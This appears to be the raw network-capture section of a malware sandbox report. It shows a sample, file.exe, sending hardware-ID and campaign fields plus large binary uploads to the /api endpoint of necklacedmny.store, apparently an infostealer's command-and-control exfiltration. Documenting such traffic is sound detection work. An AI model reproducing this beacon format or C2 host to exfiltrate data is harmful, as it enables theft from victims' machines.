2024-10-29 23:20:04 UTC	1369	IN	Data Raw: 51 4c 4b 44 47 51 4f 7a 2f 4b 53 57 49 56 69 68 67 31 6c 74 63 38 4b 6b 6b 73 56 38 36 75 66 64 32 50 75 61 66 76 46 35 4a 4b 62 4a 2f 2f 4e 63 4a 34 36 35 79 51 73 6f 4a 59 44 66 56 57 30 72 77 36 47 66 37 48 58 4c 36 35 57 51 35 67 50 48 41 41 68 70 2f 34 6a 2f 73 35 6b 7a 75 36 53 52 4d 30 6c 52 75 4c 2f 35 62 57 76 43 51 4b 71 6b 58 4e 4b 47 7a 55 6e 32 77 77 65 6b 54 44 54 66 4c 4b 4b 6a 4e 51 4f 71 73 53 67 6d 47 58 47 34 35 68 78 31 53 36 50 38 71 71 51 74 6c 75 61 73 33 4c 4f 57 61 76 56 4a 4d 4b 50 70 68 74 34 68 52 75 72 59 32 54 4e 4a 4a 62 69 2b 48 58 42 47 69 76 57 4c 71 47 58 65 2b 7a 56 6c 39 71 4d 4c 68 44 68 31 45 32 77 47 6a 79 55 54 30 72 46 55 55 6e 30 73 74 63 73 41 6c 4c 4c 36 6f 63 4f 34 42 63 76 6d 7a 4b 54 36 78 6a 37 59 38 58 44 Data Ascii: QLKDGQOz/KSWIVihg1ltc8KkksV86ufd2PuafvF5JKbJ//NcJ465yQsoJYDfVW0rw6Gf7HXL65WQ5gPHAAhp/4j/s5kzu6SRM0lRuL/5bWvCQKqkXNKGzUn2wwekTDTfLKKjNQOqsSgmGXG45hx1S6P8qqQtluas3LOWavVJMKPpht4hRurY2TNJJbi+HXBGivWLqGXe+zVl9qMLhDh1E2wGjyUT0rFUUn0stcsAlLL6ocO4BcvmzKT6xj7Y8XD
2024-10-29 23:20:04 UTC	1369	IN	Data Raw: 6b 42 65 6f 74 54 46 52 78 51 74 38 61 49 6b 43 55 71 62 76 50 4c 74 42 4e 4f 75 7a 50 7a 37 35 7a 50 77 58 47 6e 6e 7a 4c 4f 6e 32 65 64 33 67 59 77 4f 45 53 79 4e 37 35 68 67 44 75 70 46 61 2f 41 78 36 39 2f 52 78 62 2f 36 42 72 67 70 63 49 74 78 76 35 6f 68 34 74 4b 35 38 51 73 6f 62 47 33 54 4a 46 52 57 6d 76 69 6e 4f 41 58 50 34 35 58 64 7a 73 75 37 74 46 42 59 36 71 32 2b 6f 69 42 2b 6f 6f 43 51 47 67 78 74 32 4a 35 56 41 52 2b 50 34 4e 4c 73 51 4f 75 43 7a 63 54 37 6d 6e 61 42 46 44 6a 71 39 62 2b 6e 4c 56 65 6a 6f 5a 78 53 52 48 42 42 4a 34 67 77 52 6f 4b 6c 6e 31 7a 46 66 39 66 56 67 5a 4c 6e 4a 79 43 56 63 4e 4b 55 67 37 70 42 2b 75 71 59 6b 50 64 77 62 4e 6a 65 66 57 79 65 7a 6f 57 72 75 47 57 57 30 31 6e 42 39 72 73 6e 74 52 56 49 36 34 32 2f Data Ascii: kBeotTFRxQt8aIkCUqbvPLtBNOuzPz75zPwXGnnzLOn2ed3gYwOESyN75hgDupFa/Ax69/Rxb/6BrgpcItxv5oh4tK58QsobG3TJFRWmvinOAXP45Xdzsu7tFBY6q2+oiB+ooCQGgxt2J5VAR+P4NLsQOuCzcT7mnaBFDjq9b+nLVejoZxSRHBBJ4gwRoKln1zFf9fVgZLnJyCVcNKUg7pB+uqYkPdwbNjefWyezoWruGWW01nB9rsntRVI642/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	188.114.97.3	443	5044	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:20:05 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-29 23:20:05 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:20:05 UTC	1019	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:20:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r0j0i6et0a1rno9gtfo76jikqf; expires=Sat, 22 Feb 2025 17:06:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zWxBafp2G4NE5XwiEjI2uOwh%2FW5Y7rreCRPVlHfDY2nlSQKzUWAzM2a3wsrTgZr2t0wQHtl3%2FReX9aCb0RxDMmTAxiaaRwhVkSbEd5K2GWtdS55imU07KqNJy3yJR8Lp%2Bhxoe%2Bg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e4e8bb98316c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1455&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13782&delivery_rate=1995864&cwnd=246&unsent_bytes=0&cid=e2f5c4a7e15a45b2&ts=800&x=0"
2024-10-29 23:20:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:20:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	188.114.97.3	443	5044	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:20:06 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-29 23:20:06 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:20:06 UTC	1019	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:20:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vliio2fcntn2r43sek8bbo7nf7; expires=Sat, 22 Feb 2025 17:06:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d1dKmo0j8j6tGDrN5UReeM8I7blIS%2Bb8rxOfCfiovZqXPwvDt8qSfLMx7g6qHAcmGDo6QyvC8dj9jFyycdTWWaSKQB1O2%2FPEmAcf24t41DjSPM%2BxKSX8H%2F7zJRyHc9WS8FFcI84%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e4f0cacb6c1f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1058&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16024&delivery_rate=2698974&cwnd=251&unsent_bytes=0&cid=a0e4e00f64f119ca&ts=526&x=0"
2024-10-29 23:20:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:20:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	188.114.97.3	443	5044	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:20:07 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-29 23:20:07 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:20:07 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-29 23:20:08 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:20:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8q4u83m754a59pb0lrkqga4gsj; expires=Sat, 22 Feb 2025 17:06:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PhTFT7hf4BJD70F9ed9mQQzYEULne8j2H4Q0pExJ0ZFzup9uewyUQkdngUPVs90No6imZw4OHOFIBypYWApQ2sfSrzWJqCYIQm0%2BKgv%2BjJmFzNVTtceDSa%2F2ubXv9Ybte2HWBY0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e4f9dae22cd0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1332&sent=13&recv=28&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21536&delivery_rate=2087959&cwnd=251&unsent_bytes=0&cid=ec0895725623718a&ts=697&x=0"
2024-10-29 23:20:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:20:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	188.114.97.3	443	5044	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:20:09 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1241 Host: necklacedmny.store
2024-10-29 23:20:09 UTC	1241	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:20:10 UTC	1025	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:20:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2s3kqfn7iu3pq56alnb4t2rjf8; expires=Sat, 22 Feb 2025 17:06:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xAefrC%2FdJhJtyMRjpKDJviEATfJXicqHS9x%2Bq66L%2BFHgW70vby%2BU6cEka8NLoayCR%2Bd2Zj7rxMvXhJvC%2BsTQbWRihqy7U%2FgxxcysyelQM8JSh2a%2Fo1beOEeAJgk6NCT%2FYloUzRA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e5033dab46d4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=971&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2160&delivery_rate=2781940&cwnd=252&unsent_bytes=0&cid=5852523a953133dc&ts=339&x=0"
2024-10-29 23:20:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:20:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	188.114.97.3	443	5044	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:20:11 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570085 Host: necklacedmny.store
2024-10-29 23:20:11 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:20:11 UTC	15331	OUT	Data Raw: fd 81 05 9a e4 04 d0 ac 30 70 19 04 fe 2a ad 18 44 82 17 f6 52 b5 b3 ad c4 ea da 5b 33 16 e9 fe bc bf 5f 08 82 8f bf 2b cb 5f a9 c1 38 0f 0f ea 79 4b fe 8c f1 ff 42 6a d2 97 3d 3b 11 26 a5 fd 2f bf fb 8f 54 fb 79 fd 72 7f ee cf 0f f4 aa f0 40 76 45 9a ee 2c ba c2 4a 2e b2 1a 77 fe 07 50 9a 1e ff bf db 4d fe ef 03 3c 44 07 e0 cc 14 05 5a 09 84 7e 43 58 b0 f1 41 fb 68 46 4d 26 28 8c 77 12 bd d0 d0 6f 17 92 fd 98 fb 33 46 08 e9 4f 65 bd 4e db 11 00 52 8d b4 60 78 7c b0 17 ec 8c 81 1e 7b 43 fa ae ec 3d 3d cd c1 18 77 5a a3 3c ee f8 aa b3 1c ea 72 85 73 c7 6e db bc 05 d4 12 29 01 e1 f6 51 89 c2 4c 5f f3 d8 43 ed 9c 48 3a 3a 89 eb 75 2f 45 f4 08 e7 7a 3b 0a 02 bf 5f 99 4e ee a7 35 4e 9f a2 73 7b 7e 50 43 75 fb bc 89 0b 9b 34 d1 73 63 62 07 d4 05 65 c3 bf 7d 03 Data Ascii: 0p*DR[3_+_8yKBj=;&/Tyr@vE,J.wPM<DZ~CXAhFM&(wo3FOeNR`x\|{C==wZ<rsn)QL_CH::u/Ez;_N5Ns{~PCu4scbe}
2024-10-29 23:20:11 UTC	15331	OUT	Data Raw: a9 5b b0 6a ed 12 85 bd 60 bf 8b 14 60 21 00 ee 50 d5 c3 e5 d1 00 1f 62 c2 a3 95 78 8d 1c d1 bd 0c 4f b1 b9 f6 91 c4 9f 29 55 36 a2 32 f3 3a d4 39 ab 11 6c 8e e2 b2 bf d1 76 6e 08 75 de d0 0f 41 df 25 f8 a4 3a 56 aa 61 e1 97 11 e3 99 7d 49 78 f6 f3 0a 7f 0b 6d 90 56 1a 66 89 a0 e5 15 22 00 5b 0f bb 33 28 cc 7a 00 e8 56 06 ff 9b 64 e7 80 a5 1f 20 b3 10 e4 7e 49 39 78 b6 89 22 c8 75 7b 92 ff df be ed f2 a9 e2 c9 e6 0a 90 00 90 44 de f3 b9 cf 13 07 22 bb 34 64 50 90 00 eb 83 b8 e8 a4 48 07 70 de 09 67 29 8e 48 3b 40 87 42 2f 80 81 c7 d5 4c 8f 62 8b 82 57 cd f9 97 4e dd 9b 87 5d 30 58 93 6d bb 2b bb af 20 6e a8 cb 80 07 98 a5 7b a3 85 69 0e d9 a8 6e 33 38 26 68 36 22 3d 65 48 db 51 c5 58 c6 47 bd f9 ae 9a d0 71 bc c4 47 dc 10 3c f8 30 13 f5 5a a9 58 8f 52 b0 Data Ascii: [j``!PbxO)U62:9lvnuA%:Va}IxmVf"[3(zVd ~I9x"u{D"4dPHpg)H;@B/LbWN]0Xm+ n{in38&h6"=eHQXGqG<0ZXR
2024-10-29 23:20:11 UTC	15331	OUT	Data Raw: e3 da bf cb 40 dd 76 0e 1f f9 a8 bc 9e e5 92 10 ff 4b 03 a9 e1 33 88 8e 51 e8 ce d0 30 5b fd 25 6f c7 4b b8 32 91 3a 91 66 59 a3 9e 12 ee d2 e9 3a 76 69 2b d9 57 a4 1d a3 f1 a7 0f 4b ec e6 78 2a 88 1d 49 4d 63 79 d4 ee 4e f7 70 76 8a d8 21 b2 69 a1 82 7c 55 2b 72 f5 0c 5d 15 b5 63 4f 6a 62 b2 3a 6b 62 66 be 9a 95 c9 20 4f 34 a4 ff c5 85 0f a1 fa 13 bf 6d d9 0f 32 d2 65 c2 2f 97 09 d4 57 6e 31 d7 47 c6 62 66 f8 a9 ed 84 af 0d 67 bf 6e 76 7c d1 d8 77 4b 92 96 ba f4 2a 2d 3d c4 0c 81 80 a0 98 58 99 02 1b c4 85 6b 0b 28 72 18 04 31 65 c0 55 ac ae 24 44 d4 d2 28 50 7f 68 72 fd fc a8 e9 9e a3 a0 97 1f a3 9a ca 31 cf 07 19 14 ea e5 1f a6 15 e1 5f f5 73 4a ff f4 35 d4 b9 fd 41 1e 74 d5 61 3f ac 67 3d db f3 5e 0c 58 5e 01 96 98 b2 8f 80 2a b9 ee ee 7a 20 43 0d 14 Data Ascii: @vK3Q0[%oK2:fY:vi+WKxIMcyNpv!i\|U+r]cOjb:kbf O4m2e/Wn1Gbfgnv\|wK-=Xk(r1eU$D(Phr1_sJ5Ata?g=^X^*z C
2024-10-29 23:20:11 UTC	15331	OUT	Data Raw: 14 1f f5 7a 03 12 17 f1 06 82 ed 88 aa cf 52 e4 cc 90 b8 ae 56 5b 2e c0 c3 29 33 07 c9 39 55 52 bd bc 6b ec 20 05 3a 8a a2 fb e1 55 42 3c 5e 86 af 24 0f 5f 67 48 13 e8 ba 99 ef cf 8c be 1a 6d c6 84 15 de 56 b9 f8 a8 24 e2 33 5a 77 72 16 99 53 04 17 fe c1 87 40 97 bb 79 a8 d8 d6 8c 2a 01 41 68 0c 53 8e 8e 40 91 55 11 3f 6f 16 98 07 1c 2f 39 ad d1 1c e2 b7 1e 6d 4f 6e b5 e9 fe 02 11 d0 f7 c5 41 c7 af ec 35 a0 1c 4d b9 d7 ea ea 44 5b e9 d4 d5 70 db ea 9b 56 77 56 30 49 af c3 b7 f0 46 e9 ca c0 56 c5 bf 14 c2 80 40 2e 68 d7 06 03 c5 0f ba 66 b8 9b 14 9c 15 80 fc e8 c8 a0 8d c2 f7 16 8e d2 a1 37 f5 56 03 e1 9e 7f 27 33 ec 0b 2d f9 39 76 e0 fa 69 02 16 ed ba c2 0d 29 38 90 00 29 16 21 c2 8f d8 f9 b9 1f 83 c1 dc 84 6b 0b ea d0 52 58 68 64 64 10 39 dc 6f 53 b3 9f Data Ascii: zRV[.)39URk :UB<^$_gHmV$3ZwrS@y*AhS@U?o/9mOnA5MD[pVwV0IFV@.hf7V'3-9vi)8)!kRXhdd9oS
2024-10-29 23:20:11 UTC	15331	OUT	Data Raw: 78 3b 47 05 5f 7b 34 aa 31 40 e2 e0 13 86 e4 9a b5 fe 36 23 bb 04 e2 28 e7 59 6a 9c 8f 34 e3 5b db a8 ad a9 59 6a 0b 6a 99 66 e7 04 2f a5 47 a5 0b 4c 3e 62 fc ac 46 f4 ff 59 4a 5f 4c a5 95 6b bc a3 4a 68 29 db d6 23 db ac ce 48 45 d1 35 4a e2 57 1c fd 71 cb 8a 7d a2 95 95 62 b6 d2 40 42 b6 88 48 b2 f4 db 89 af 1f 0b 5b 78 25 3f 15 c3 80 5d ab 79 eb db bd f4 5b dc 17 8e 8d b5 61 8c e9 ad 6f 95 f0 34 ae 43 1f 76 e2 78 28 b3 aa 24 1e ca df 57 25 f1 35 44 7c 67 7f fe 53 a8 ce d8 19 57 f7 be 97 e0 4b 3a ea bb d5 ed e6 9c 26 f9 70 4d 12 c5 f8 bb 65 e1 5b 70 c5 96 dd 06 33 c7 32 44 7c 24 ee 12 b8 32 9c 88 fa 48 be 70 7a 22 53 1d 0f cd c6 8c da e6 d4 44 71 dd 23 52 38 1a e7 59 e6 10 42 c8 c8 81 3c 85 cd ba 8b ca 80 b0 36 d8 f5 f3 96 21 3b c3 7d dd 72 c8 55 01 44 Data Ascii: x;G_{41@6#(Yj4[Yjjf/GL>bFYJ_LkJh)#HE5JWq}b@BH[x%?]y[ao4Cvx($W%5D\|gSWK:&pMe[p32D\|$2Hpz"SDq#R8YB<6!;}rUD
